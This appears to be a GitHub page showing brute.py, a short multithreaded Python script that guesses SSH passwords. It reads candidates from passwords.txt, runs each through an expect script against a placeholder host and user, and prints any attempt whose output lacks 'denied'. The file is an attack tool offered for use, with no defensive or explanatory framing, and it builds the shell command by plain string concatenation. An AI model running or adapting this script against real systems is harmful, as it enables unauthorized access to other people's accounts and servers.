-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathbrute.py
52 lines (33 loc) · 870 Bytes
/
brute.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from queue import Queue
import subprocess
import threading
import sys
th = input("Enter number of threads: ")
passwords = open('passwords.txt', 'r')
def ssh(password):
command = './ssh.exp <host> <user> ' + password
output = subprocess.getoutput(command)
print('Command: ' + command)
if(not 'denied' in output):
print(output)
global s_t
s_t = True
def threader():
while True:
password = q.get()
global s_t
if(s_t):
sys.exit()
quit()
break
ssh(password)
q.task_done()
q = Queue()
s_t = False
for x in range(int(th)):
t = threading.Thread(target=threader)
t.daemon = True
t.start()
for password in passwords:
q.put(password)
q.join()